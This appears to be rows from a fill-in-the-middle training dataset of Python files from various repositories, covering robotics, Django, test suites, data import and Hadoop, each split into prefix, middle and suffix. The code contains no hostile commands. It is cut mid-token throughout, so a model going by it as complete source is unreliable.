repo_name
stringlengths
5
100
path
stringlengths
4
231
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
6
947k
score
float64
0
0.34
prefix
stringlengths
0
8.16k
middle
stringlengths
3
512
suffix
stringlengths
0
8.17k
KANGKANGABC/ArmRobot
xmos_motor.py
Python
gpl-3.0
14,455
0.021146
#!/usr/bin/env python import vrep import time import sys import serial import serial.tools.list_ports import struct import pyHook import pythoncom import threading global data1 #Global Variable:where used where declare global data2 #Global Variable:where used where declare data1 = [0,0] data2 = 1 event_close = threa...
ain" def OnMouseEvent(event): global event_close global data1,data2 #print 'Position:',event.Position data1 = event.Position da
ta2 = event.Wheel event_close.set() # 返回 True 可将事件传给其它处理程序,否则停止传播事件 return True def fun1(event): global data1 threadEvent = event for i in range(5): signal.set() print "fun1" time.sleep(1) def fun2(event): global event_close while True: event_close.wait(...
mezklador/drf1
src/wsgi.py
Python
cc0-1.0
383
0
""" WSGI config for src project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file,
see https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_S
ETTINGS_MODULE", "src.settings") application = get_wsgi_application()
DiligentGraphics/DiligentTools
RenderStateNotation/scripts/cxx_builder.py
Python
apache-2.0
4,755
0.001472
# ---------------------------------------------------------------------------- # Copyright 2019-2022 Diligent Graphics LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.a...
dent_next = True def write_line(self, code: str = ""): self.write("{}\n".format(code)) @contextlib.contextmanager def block(self, line: str, *, inline: bool = False, newline: bool = True) ->
None: self.write('{} \n{}'.format(line, '{')) if not inline: self.write('\n') self.push_indent() else: self.write(' ') self._buffer.append(StringIO()) try: yield finally: text = self._buffer.pop().getvalue() ...
boisvert42/npr-puzzle-python
2017/1001_shifted_food.py
Python
cc0-1.0
731
0.010974
#!/usr/bin/env python """ NPR 2017-10-01 http://www.npr.org/2017/10/01/554491213/sunday-puzzle-put-these-stars-on-t
he-map Think of a 4-letter food. Move each letter one space later in the alphabet — so A would become B, B would become C, etc. Insert a U somewhere inside the result. You'll name a 5-letter food. What foods are
these? """ import sys sys.path.append('..') from nprcommontools import get_category_members, letter_shift #%% foods = get_category_members('food') for food in [_ for _ in foods if len(_) == 4]: food_shifted = ''.join(map(lambda x:letter_shift(x,1),food)) for i in range(5): food2 = food_shifted[:i] + 'u...
MarconiMediaGroup/TravelHub
web/data/sloppy_flight_import.py
Python
apache-2.0
2,568
0.005452
from ofd.models import * import csv, io, sys from datetime import datetime, time import time fh = open("./data/flight_test1.txt","r") al_dl = Airline.objects.get(iata="DL") al_kl = Airline.objects.get(iata="KL") al_af = Airline.objects.get(iata="AF") def convert_to_time(val): # expects a 5-character string, eg 0...
dow_4We=clean_bool(line[7]), dow_5Th=clean_bool(line[8]), dow_6Fr=clean_bool(line[9]), dow_7Sa=clean_bool(line[10]), ) obj.save() if clean_int(line[16]): fl = FlightNumber( flight=obj, airline=al_dl, number=line[16] ) fl.s...
flight=obj, airline=al_kl, number=line[17] ) fl.save() if clean_int(line[18]): fl = FlightNumber( flight=obj, airline=al_af, number=line[1] ) fl.save()
bobintetley/asm3
import/shelterpro_dbf.py
Python
gpl-3.0
18,704
0.005935
#!/usr/bin/env python3 import asm, datetime, os """ Import script for Shelterpro databases in DBF format Requires my hack to dbfread to support VFP9 - copy parseC in FieldParser.py and rename it parseV, then remove encoding so it's just a binary string that can be ignored. Requires address.dbf, addrlink.dbf, anim...
) if PICTURE_IMPORT: asm.setid("media", START_ID) if PICTURE_IMPORT: asm.setid("dbfs", START_ID) # Remove existing print("\\
set ON_ERROR_STOP\nBEGIN;") print("DELETE FROM adoption WHERE ID >= %d AND CreatedBy = 'conversion';" % START_ID) print("DELETE FROM animal WHERE ID >= %d AND CreatedBy = 'conversion';" % START_ID) print("DELETE FROM owner WHERE ID >= %d AND CreatedBy = 'conversion';" % START_ID) if INCIDENT_IMPORT: print("DELETE FROM ...
akx/shoop
shoop_tests/core/test_default_pricing.py
Python
agpl-3.0
2,696
0.000371
# -*- coding: utf-8 -*- # This file is part of Shoop. # # Copyright (c) 2012-2016, Shoop Ltd. All rights reserved. # # This source code is licensed under the AGPLv3 license found in the # LICENSE file in the root directory of this source tree. import pytest from django.conf import settings from shoop.core.pricing impo...
duct("test-product", shop=shop, default_price=None) assert pro
duct.get_price(request) == shop.create_price(0) @pytest.mark.django_db def test_default_price_zero_allowed(rf): request, shop, group = initialize_test(rf, False) shop = get_default_shop() product = create_product("test-product", shop=shop, default_price=0) assert product.get_price(request) == shop.cre...
cherbib/fofix
src/Dialogs.py
Python
gpl-2.0
96,406
0.024283
##################################################################### # -*- coding: iso-8859-1 -*- # # # # Frets on Fire # # Copyright (C) 2006 Sami Kyöstilä ...
in enumerate(text.sp
lit(" ")): # w, h = font.getStringSize(word, scale = scale) # if x + w > rightMargin*1.11 or word == "\n": # x = startXpos # y += h*.5 # Worldrave - Modified spacing between lines # if word == "\n": # continue # glPushMatrix() # glRotate(visibility * (n + 1) * -45, 0, 0, 1) # font.rende...
ktnyt/chainer
tests/chainer_tests/distributions_tests/test_beta.py
Python
mit
1,105
0
import numpy from chainer import distributions from chainer import testing @testing.parameterize(*testing.product({ 'shape': [(2, 3), ()], 'is_variable': [True
, False], 'sample_shape': [(3, 2), ()], })) @testing.fix_random() @testing.with_requires('scipy') class TestBeta(testing.distribution_unittest): scipy_onebyone = True def setUp_configure(self): from scipy import stats self.dist = distributions.Beta self.scipy_dist = stats.beta ...
"sample", "support", "variance"]) a = numpy.random.uniform(0, 10, self.shape).astype(numpy.float32) b = numpy.random.uniform(0, 10, self.shape).astype(numpy.float32) self.params = {"a": a, "b": b} self.scipy_params = {"a": a, "b": b} self.support = "[0, 1]" def sa...
israelem/aceptaelreto
codes/2018-03-05-calculo.py
Python
mit
536
0.001866
respuestas = [] numero_calculos = int(input()) for x in range(numero_calculos): respuesta = '' calculo = [x fo
r x in input().split()] resultado = int(calculo[0]) calculo = calculo[1:len(calculo) - 1] for signo, numero in zip(calculo[::2
], calculo[1::2]): if signo == '+': resultado += int(numero) else: resultado -= int(numero) respuesta += str(resultado) + ', ' respuestas.append(respuesta[:len(respuesta) - 1]) for respuesta in respuestas: print(respuesta)
heytcass/homeassistant-config
deps/cherrypy/_cpreqbody.py
Python
mit
37,427
0.000187
"""Request body processing for CherryPy. .. versionadded:: 3.2 Application authors have complete control over the parsing of HTTP request entities. In short, :attr:`cherrypy.request.body<cherrypy._cprequest.Request.body>` is now always set to an instance of :class:`RequestBody<cherrypy._cpreqbody.RequestBody>`, and *...
thout making a ``Tool``. Just add the config entry:: request.body.processors = {'application/json': json_processor} Note that you can only replace the ``processors`` dict wholesale this way, not update the existing one. """ try: from io import DEFAULT_BUFFER_SIZE except ImportError: DEFAULT_BUFFER_SIZE =...
mport sys import tempfile try: from urllib import unquote_plus except ImportError: def unquote_plus(bs): """Bytes version of urllib.parse.unquote_plus.""" bs = bs.replace(ntob('+'), ntob(' ')) atoms = bs.split(ntob('%')) for i in range(1, len(atoms)): item = atoms[i] ...
CospanDesign/python
yaml/example1.py
Python
mit
620
0.01129
#! /usr/bin/python import yaml def main(): #f = open("data.yaml", "r") f = open("data2.yaml", "r") yd = yaml.load(f) #print "YAML Data: %s" % str(yd) for ke
y in yd: print "%s" % key print "Type: %s" % str(type(yd[key])) print str(yd[key]) print "" d
ef yaml_test(): #f = open("data.yaml", "r") f = open("data2.yaml", "r") yd = yaml.load(f) #print "YAML Data: %s" % str(yd) for key in yd: print "%s" % key print "Type: %s" % str(type(yd[key])) print str(yd[key]) print "" if __name__ == "__main__": main()
alexsavio/palladium
palladium/fit.py
Python
apache-2.0
6,172
0.000162
"""Utilities for fitting modles. """ import sys from datetime import datetime from docopt import docopt from pprint import pformat from sklearn.grid_search import GridSearchCV from .interfaces import annotate from .util import apply_kwargs from .util import args_from_config from .util import initialize_config from ....
uate = True if dataset_loader_test is None: raise ValueError( "When using 'persist_if_better_than', make sure you also " "provide a 'dataset_loader_test'." ) with timer(logger.info, "Loading
data"): X, y = dataset_loader_train() with timer(logger.info, "Fitting model"): model.fit(X, y) if evaluate: with timer(logger.debug, "Evaluating model on train set"): score_train = model.score(X, y) annotate(model, {'score_train': score_train}) log...
actmd/selenium
py/test/selenium/webdriver/common/cookie_tests.py
Python
apache-2.0
4,050
0.006173
# Licensed to the Software Freedom Conservancy (SFC) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The SFC licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
rt unittest import random import pytest from selenium.test.selenium.webdriver.common import utils class CookieTest(unittest.TestCase): def setUp(self): self._loadPage("simpleTest") # Set the cookie to expire in 30 minutes timestamp = calendar.timegm(time.gmtime()) + (30 * 60) self...
"path": "/", "secure": False} def tearDown(self): self.driver.delete_all_cookies() def testAddCookie(self): self.driver.execute_script("return document.cookie") self.driver.add_cookie(self.COOKIE_A) cookie_returned = str(self.driver.execute_...
tobiasgehring/qudi
logic/simple_data_logic.py
Python
gpl-3.0
2,821
0.002127
# -*- coding: utf-8 -*- """ Buffer for simple data Qudi is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Qudi is distributed in the hope tha...
U General Public License for more details. You should have received a copy
of the GNU General Public License along with Qudi. If not, see <http://www.gnu.org/licenses/>. Copyright (c) the Qudi Developers. See the COPYRIGHT.txt file at the top-level directory of this distribution and at <https://github.com/Ulm-IQO/qudi/> """ from qtpy import QtCore import numpy as np from logic.generic_logi...
gronostajo/copernicus-api
tests/testOnDevice.py
Python
mit
912
0.001096
import unittest from mock import MagicMock, call from copernicus import Copernicus __author__ = 'Krzysztof "gronostaj" Smialek' class OnDeviceTests(unittest.TestCase): def test_should_copy_knob_to_servo(self):
serial_mock = MagicMock() serial_mock.read = MagicMock(side_effect=map(chr, [64, 64 + 32, 64 + 63]))
serial_mock.write = MagicMock() # noinspection PyTypeChecker api = Copernicus(connection=serial_mock) def knob_handler(value): api.command('servo', value / 2) api.set_handler('knob', knob_handler) api.command('subscribe', 'knob') for _ in xrange(3): ...
coquelicot/PyDSL
src/test.py
Python
mit
2,354
0.000425
#!/usr/bin/env python3 import Parser, Lexer from DSL import _lexerParser, _lexerLexer from DSL import _parserLexer, _parserParser from DSL import makeParser, makeLexer lexerLexerConfig = r"""#dsl %keys ::= '%ignore' '%keys' '::=' comment ::= /#[^\n]*\n/ identifier ::= /[_a-zA-Z][_a-zA-Z0-9]*/ sqString...
rConfig)) testOutput = lexerParser.parse(lexerLexer.parse(lexerLexerConfig)) assert(str(realOutput) == str(t
estOutput)) realOutput = _lexerParser.parse(_lexerLexer.parse(parserLexerConfig)) testOutput = lexerParser.parse(lexerLexer.parse(parserLexerConfig)) assert(str(realOutput) == str(testOutput)) realOutput = _parserParser.parse(_parserLexer.parse(lexerParserConfig)) testOutput = parserParser.parse(parserLexer.parse(lexe...
slipstream/SlipStreamConnectors
openstack/python/tar/test/TestOpenStackClientCloudLive.py
Python
apache-2.0
6,070
0.000659
#!/usr/bin/env python """ SlipStream Client ===== Copyright (C) 2015 SixSq Sarl (sixsq.com) ===== Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-...
ces_details assert instances_details[0][NodeDecorator.MACHINE_NAME] new_id = self.client.build_image(self.user_i
nfo, self.node_instance) assert new_id def xtest_3_list_instances(self): self.client._initialization(self.user_info) assert isinstance(self.client.list_instances(), list) def xtest_4_start_image_with_extra_disk(self): self.client.run_category = RUN_CATEGORY_IMAGE self....
praekelt/go-cli
go_cli/tests/utils.py
Python
bsd-3-clause
3,376
0
""" Test utilities. """ import base64 import json import urllib from requests_testadapter import TestAdapter, TestSession class RecordingAdapter(TestAdapter): """ Record the request that was handled by the adapter. """ request = None expected_auth_headers = None def set_basic_auth(self, usernam...
*kw): api = orig_api(*args, **kw) setattr(api, method, patched_method) return api orig_api = getattr(obj, name) self.patch(obj, name, patched_api) def check_response(self, adapter, method, data=None, headers=None): request =
adapter.request auth_headers = adapter.expected_auth_headers self.test_case.assertEqual(request.method, method) if data is not None: self.test_case.assertEqual(json.loads(request.body), data) if headers is not None: for key, value in headers.items(): ...
noironetworks/group-based-policy
gbpservice/neutron/tests/unit/services/grouppolicy/test_extension_driver_api.py
Python
apache-2.0
19,823
0
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
.deserialize(self.fmt, req.get_response(self.ext_api)) val = res['l2_policy']['l2p_extension'] self.assertEqual("def", val) def test_l3p_attr(self): # Test create with default value. l3p = self.create_l3_policy() l3_policy_id = l3p['l3_policy']['id'] val = l3p['l3_po...
req = self.new_show_request('l3_policies', l3_policy_id) res = self.deserialize(self.fmt, req.get_response(self.ext_api)) val = res['l3_policy']['l3p_extension'] self.assertIsNone(val) # Test list. res = self._list('l3_policies') val = res['l3_policies'][0]['l3p...
polyaxon/polyaxon
core/polyaxon/polyflow/run/base.py
Python
apache-2.0
886
0
#!/usr/bin/python # # Copyright 2018-2021 Polyaxon, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
# See the License for the specific language governing permissions and # limitations under the License. class BaseRun: def get_resources(self): raise NotImplementedError def get_all_containers(self): raise NotImplementedError def get_all_connections(self): raise NotImplementedErr...
def get_all_init(self): raise NotImplementedError
zerovip/link-link
game11_11/game11_11/wsgi.py
Python
apache-2.0
396
0
""" WSGI config for game11_11 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.
10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_applica
tion os.environ.setdefault("DJANGO_SETTINGS_MODULE", "game11_11.settings") application = get_wsgi_application()
HaoMood/cs231n
assignment2/assignment2/cs231n/data_utils.py
Python
gpl-3.0
6,912
0.01114
import cPickle as pickle import numpy as np import os from scipy.misc import imread def load_CIFAR_batch(filename): """ load single batch of cifar """ with open(filename, 'rb') as f: datadict = pickle.load(f) X = datadict['data'] Y = datadict['labels'] X = X.reshape(10000, 3, 32, 32).transpose(0,2,...
t to get names for each class with open(os.path.join(path, 'words.txt'), 'r') as f: wnid_to_words = dict(line.split('\t') for line in f) for wnid, words in wnid_to_words.iteritems(): wnid_to_words[wnid] = [w.strip() for w in words.split(',')] class_names = [wnid_to_words[wnid] for wnid in wnids] # ...
print 'loading training data for synset %d / %d' % (i + 1, len(wnids)) # To figure out the filenames we need to open the boxes file boxes_file = os.path.join(path, 'train', wnid, '%s_boxes.txt' % wnid) with open(boxes_file, 'r') as f: filenames = [x.split('\t')[0] for x in f] num_images = len(fil...
maxwellalive/YCDIVFX_MaxPlus
Examples/simplewebserver.py
Python
gpl-2.0
3,452
0.002897
import BaseHTTPServer import cgi import ctypes import os import sys import threading from PySide import QtGui import MaxPlus PORT = 8000 class MyThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.exiting = False address = ('localhost', PORT) self...
: print "Serving at port", PORT self.btn_run.setText('Stop...') self.serverThread = MyThread() self.serverThread.start() else: print "Stopping webserver" self.btn_run.setText('Run') self.serverThread.stop() self.ser
verThread = None def closeEvent(self, *args, **kwargs): if self.serverThread: print "Stopping webserver" self.btn_run.setText('Run') self.serverThread.stop() self.serverThread = None class _GCProtector(object): controls = [] if __name__ == '__main__': ...
shanot/imp
modules/atom/test/test_alignment.py
Python
gpl-3.0
1,846
0.005959
import IMP import IMP.test import IMP.atom import IMP.core class Tests(IMP.test.TestCase): def _produce_point_sets(self, tr): vs = [] vsr = [] for i in range(0, 20): vs.append(IMP.algebra.get_random_vector_in( IMP.algebra.get_unit_bounding_box_3d())) ...
hroot1.add_child(p) for v in vsr: p=IMP.Particle(m) d=IMP.core.XYZR.setup_particle(p) d.set_coordinates(v) d.set_radius(1.0) IMP.atom.Mass.setup_pa
rticle(p,1.0) hroot2.add_child(p) sel1=IMP.atom.Selection(hroot1) sel2=IMP.atom.Selection(hroot2) tr = IMP.atom.get_transformation_aligning_first_to_second(sel1, sel2) self.assertAlmostEqual(IMP.algebra.get_distance(tr.get_rotation(), r), 0, ...
mganeva/mantid
qt/python/mantidqt/project/workspaceloader.py
Python
gpl-3.0
1,243
0.004023
# Mantid Repository : https://github.com/mantidproject/mantid # # Copyright &copy; 2018 ISIS Rutherford Appleton Laboratory UKRI, # NScD Oak Ridge National Laboratory, European Spallation Source # & Institut Laue - Langevin # SPDX - License - Identifier: GPL - 3.0 + # This file is part of the mantidqt package ...
:param workspaces_to_load: List of Strings; of the workspaces to load """ if workspaces
_to_load is None: return from mantid.simpleapi import Load # noqa for workspace in workspaces_to_load: try: Load(path.join(directory, (workspace + ".nxs")), OutputWorkspace=workspace) except Exception: logger.warning("Couldn't load fi...
dana-i2cat/felix
expedient/src/python/expedient/clearinghouse/commands/management/commands/load_openflow_data.py
Python
apache-2.0
7,889
0.003676
''' Created on Oct 7, 2010 @author: jnaous ''' import re from django.core.management.base import NoArgsCommand from expedient.clearinghouse.project.models import Project from expedient.clearinghouse.geni.gopenflow.models import GCFOpenFlowAggregate from expedient.clearinghouse.geni.models import GENISliceInfo try: ...
_and_post_form( client, reverse("openflow_aggregate_create"), agg_dict, ) assert(re
sp.status_code == 302) assert( re.search( r"/openflow/aggregate/\d+/links/$", resp["Location"])) if do_slices: for project_dict in data["projects"]: project, _ = Project.objects.get_or_create( ...
jiangzhonglian/MachineLearning
src/py2.x/ml/9.RegTrees/regTrees.py
Python
gpl-3.0
18,561
0.001401
#!/usr/bin/python # coding:utf8 ''' Created on Feb 4, 2011 Update on 2017-12-20 Tree-Based Regression Methods Source Code for Machine Learning in Action Ch. 9 Author: Peter Harrington/片刻/小瑶/zh0ng GitHub: https://github.com/apachecn/AiLearning ''' from __future__ import print_function print(__doc__) from numpy import * ...
: return val retTree = {} retTree['spInd
'] = feat retTree['spVal'] = val # 大于在右边,小于在左边,分为2个数据集 lSet, rSet = binSplitDataSet(dataSet, feat, val) # 递归的进行调用,在左右子树中继续递归生成树 retTree['left'] = createTree(lSet, leafType, errType, ops) retTree['right'] = createTree(rSet, leafType, errType, ops) return retTree # 判断节点是否是一个字典 def isTree(obj...
nMustaki/flask-usul
run_devel.py
Python
mit
283
0.007067
# -*- coding: utf-8 -*- import sys reload(sys) sys.setde
faultencoding('utf-8') from app import create_app if __name__ == '__main__': new_app = create_app(devel=True, testing=False) new_app.run(host='0
.0.0.0', debug=True, use_debugger=True, use_reloader=True, port=18003)
Jortolsa/l10n-spain
l10n_es_account_invoice_sequence/wizard/wizard_multi_charts_accounts.py
Python
agpl-3.0
1,779
0
# -*- coding: utf-8 -*- # (c) 2015 Pedro M. Baeza # License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html from openerp import models, api, _ from openerp.addons.l10n_es_account_invoice_sequence.constants import \ ALLOWED_JOURNAL_TYPES class WizardMultiChartsAccounts(models.TransientModel): _inherit =...
env.ref('l10n_es.account_chart_template_common').id, self.env.ref('l10n_es.account_chart_template_assoc').id, self.env.ref('l10n_es.account_chart_template_pymes').id, self.env.ref('l10n_es.account_chart_template_full').id, ] if chart_template_id not in spanish_charts:...
unt.journal'] # Create unified sequence for journal entries generic_journal_seq = self.env.ref( 'l10n_es_account_invoice_sequence.sequence_spanish_journal') journal_seq = generic_journal_seq.copy( {'name': _('Journal Entries Sequence'), 'company_id': company_...
pcampese/codewars
reverse_polish_notation2.py
Python
gpl-3.0
2,190
0.023744
# https://www.codewars.com/kata/reverse-polish-notation-calculator/train/python def calc(expr): import re
# For regex import operator # For doing operations # Print the arguments print('expr = <{}>'.format(expr)) # Put the expression into a list expr_list = expr.split() print('expr_list = <{}>'.format(expr_list)) # Define a list of valid operators operation_list = ['+', '-', '*', '/'] # Count the number of op...
or_count)) # Check for an empty expression if (not expr_list): # If it's an empty expression result = 0.0 # Answer = 0 elif (operator_count == 0): # If there's no valid operator found result = float(expr_list[-1]) # Answer = last number elif (len(expr_list) >= 3): # Valid expression if it has 3 or mo...
zzacharo/inspire-next
tests/unit/workflows/test_workflows_tasks_actions.py
Python
gpl-3.0
12,472
0.00008
# -*- coding: utf-8 -*- # # This file is part of INSPIRE. # Copyright (C) 2014-2017 CERN. # # INSPIRE is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any ...
s): obj_params = { 'classifier_results': {
'complete_output': { 'core_keywords': ['something'] if has_core_keywords else [], }, }, 'relevance_prediction': { 'max_score': '0.222113', 'decision': decision, }, } return MockObj({}, obj_params) def test_mark(): obj = MockObj...
mi1980/projecthadoop3
udacity/ud617-intro-hadoop/code/lesson3/server-project/mapper1.py
Python
mit
170
0.035294
import sys for line in sys.stdin: data = line.strip().split(" ") if len(data
) == 10: page = data[6] ip_address = data[0]
print "{0}\t{1}".format(page, ip_address)
geberl/droppy-workspace
Tasks/Text.RemoveMultiNewlines/task.py
Python
mit
2,087
0.002396
#!/usr/bin/python # -*- coding: utf-8 -*- from __future__ import unicode_literals import codecs import os import sys sys.path.append(os.path.abspath(os.path.join(__file__, os.pardir, os.pardir, 'DropPy.Common'))) from file_tools import get_file_paths_from_directory class Task(object): """ Documentation: htt...
= 0: # ... and this line is empty ... if len(line.strip()) == 0: # ... don't write it to the output file. continue # Otherwise write it to the output file. output_file_handler...
# And remember this line's content when processing the next line. last_line = line
starwels/starwels
test/functional/test_framework/messages.py
Python
mit
39,514
0.002176
#!/usr/bin/env python3 # Copyright (c) 2010 ArtForz -- public domain half-a-node # Copyright (c) 2012 Jeff Garzik # Copyright (c) 2010-2019 The Starwels developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Starwels test fr...
siphash import siphash256 from test_framework.util import hex_str_to_bytes, bytes_to_hex_str MIN_VERSION_SUPPORTED = 60001 MY_VERSION = 70014 # past bip-31 for ping/pong MY_SUBVERSION = b"/python-mininode-tester:0.0.3/" MY_RELAY = 1 # from version 70001 onwards, fRelay should be appended to version messages (BIP37) ...
ETWORK = (1 << 0) # NODE_GETUTXO = (1 << 1) NODE_BLOOM = (1 << 2) NODE_WITNESS = (1 << 3) NODE_UNSUPPORTED_SERVICE_BIT_5 = (1 << 5) NODE_UNSUPPORTED_SERVICE_BIT_7 = (1 << 7) NODE_NETWORK_LIMITED = (1 << 10) # Serialization/deserialization tools def sha256(s): return hashlib.new('sha256', s).digest() def ripemd160...
FA810/My_Codes
Python/most_free_time.py
Python
apache-2.0
2,924
0.055404
''' Have the function MostFreeTime(strArr) read the strArr parameter being passed which will represent a full day and will be filled with events that span from time X to time Y in the day. The format of each event will be hh:mmAM/PM-hh:mmAM/PM. For example, strArr may be ["10:00AM-12:30PM", "02:00PM-02:45PM","09:10A...
[i+1][:7] maxt = max(maxt,CountingMinutesI(free)) #print maxt #print "FInal result: "+str(maxt ) return str(maxt/60).zfill(2) +":"+str(maxt%60).zfill(2)
sen = ["12:15PM-02:00PM","09:00AM-12:11PM","02:02PM-04:00PM"] print MostFreeTime(sen)
mlperf/inference_results_v0.5
closed/Google/code/gnmt/tpu-gnmt/home/kbuilder/mlperf-inference/google3/third_party/mlperf/inference/gnmt/nmt/tpu/distributed_iterator_utils.py
Python
apache-2.0
11,852
0.005653
# Copyright 2018 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
eline designed within synchronizes the hosts such that they all s
elect a sequence length bucket of the same length, resulting in up to 50% performance improvements across large TPU pod slices. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import time import tensorflow as tf from tensorflow.python.data.ops import m...
anhstudios/swganh
data/scripts/templates/object/tangible/container/quest/crafting_contract/shared_weapon_crate.py
Python
mit
451
0.04878
####
NOTICE: THIS FILE IS AUTOGENERATED #### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY #### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES from swgpy.object import * def create(kernel): result = Tangible() result.template = "object/tangible/container/quest/crafting_contract/shared_weapon_crate.iff" result.attri...
D MODIFICATIONS #### return result
2degrees/hubspot-contacts
hubspot/__init__.py
Python
bsd-3-clause
884
0
############################################################################## # # Copyright (c) 2014, 2degrees Limited. # All Rights Reserved. # # This file is part of hubspot-contacts # <https://github.com/2degrees/hubspot-contacts>, which is subject to the # provisions of the BSD at # <http://dev.2degreesnetwork.com...
ense.html>. A copy of the # license should accompany this distribution. THIS SOFTWARE IS PROVIDED "AS IS" # AND ANY AND ALL EXPRESS OR IMPLIED WARRANTIES ARE DISCLAIMED, INCLUDING, BUT # NOT LIMITED TO, THE IMPLIED WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST # INFR
INGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE. # ############################################################################## # See http://peak.telecommunity.com/DevCenter/setuptools#namespace-packages __import__('pkg_resources').declare_namespace(__name__) # pragma: no cover
t-wissmann/qutebrowser
qutebrowser/qutebrowser.py
Python
gpl-3.0
9,154
0.000218
# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et: # Copyright 2014-2020 Florian Bruhin (The Compiler) <mail@qutebrowser.org> # This file is part of qutebrowser. # # qutebrowser is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free So...
on.", action='append', dest='de
bug_flags') parser.add_argument('command', nargs='*', help="Commands to execute on " "startup.", metavar=':command') # URLs will actually be in command parser.add_argument('url', nargs='*', help="URLs to open on startup " "(empty as a window separator).") ...
distributed-system-analysis/pbench
lib/pbench/server/api/resources/query_apis/datasets_detail.py
Python
gpl-3.0
6,242
0.000801
from http import HTTPStatus from flask import jsonify from flask_restful import abort from logging import Logger from pbench.server import PbenchServerConfig, JSON from pbench.server.api.resources import Schema, Parameter, ParamType from pbench.server.api.resources.query_apis import ( CONTEXT, ElasticBase, ...
keywords=ElasticBase.METADATA, ), ), ) def assemble(self, json_data: JSON, context: CONTEXT) -> JSON: """ Get details for a specific Pbench dataset which is either owned by a specified username, or has been made publicly accessible. ...
"metadata": ["seen", "saved"] } json_data: JSON dictionary of type-normalized key-value pairs user: specifies the owner of the data to be searched; it need not necessarily be the user represented by the session token header, assuming the session user...
feincms/feincms
feincms/module/page/extensions/navigation.py
Python
bsd-3-clause
5,296
0.000189
""" Extend or modify the navigation with custom entries. This extension allows the website administrator to select an extension which processes, modifies or adds subnavigation entries. The bundled ``feincms_nav`` template tag knows how to collect navigation entries, be they real Page instances or extended navigation e...
def __init__(cls, name, bases, attrs): if not hasattr(cls, "types"): cls.types = [] else: cls.types.append(cls) class PagePretender: """ A PagePretender pretends to be a page, but in reality is just a shim layer that implements enough functionality to inject fa...
pages eg. into the navigation tree. For use as fake navigation page, you should at least define the following parameters on creation: title, url, level. If using the translation extension, also add language. """ pk = None # emulate mptt properties to get the template tags working clas...
blpete16/ProgPoint
parsetwo.py
Python
gpl-2.0
2,963
0.005737
import sys import os def convbytes(bstr): return str(buildint(bstr)) def buildint(bvals): return int.from_bytes(bvals, byteorder='little') def buildstr(bvals): print(str(bvals)) #return str(bvals) return bvals.decode("utf-8") def getOutFile(infilename, outfiledir): lastslashind = infilename....
"main", "doencode", "cksum", "compare_files", "treat_file", "make_ofname"] for infilename in os.listdir(infiledir): outfilename = getOutFile(infilename, outfiledir) infilename = infiledir + infilename with open(infilename, 'rb') as infile: with open(outfilename, 'w') as ofile: byte...
ival)) bytes_read = infile.read(ival) sval = buildstr(bytes_read) print("sval:"+sval) print("len sval:"+str(len(sval))) while bytes_read: print ("read bytes:"+sval) ofile.wr...
thatch45/maras_old
maras/migrate.py
Python
apache-2.0
1,311
0
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2011-2013 Codernity (http://codernity.com) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/L...
missions and # limitations under the License. from maras.database import Database import shutil import os def migrate(source, destination): """ Very basic for now """ dbs = Database(source) dbt = Database(destination) dbs.open() dbt.create() dbt.close() for curr in os.listdir(os.p...
in(dbs.path, '_indexes')): if curr != '00id.py': shutil.copyfile(os.path.join(dbs.path, '_indexes', curr), os.path.join(dbt.path, '_indexes', curr)) dbt.open() for c in dbs.all('id'): del c['_rev'] dbt.insert(c) return True if __name__ == '__...
Juniper/tempest
tempest/lib/services/compute/migrations_client.py
Python
apache-2.0
1,795
0
# Copyright 2014 NEC Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the
License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the s...
m tempest.lib.api_schema.response.compute.v2_1 import migrations as schema from tempest.lib.api_schema.response.compute.v2_23 import migrations \ as schemav223 from tempest.lib.common import rest_client from tempest.lib.services.compute import base_compute_client class MigrationsClient(base_compute_client.BaseCom...
ljvmiranda921/pyswarms
pyswarms/base/base_single.py
Python
mit
7,186
0.000139
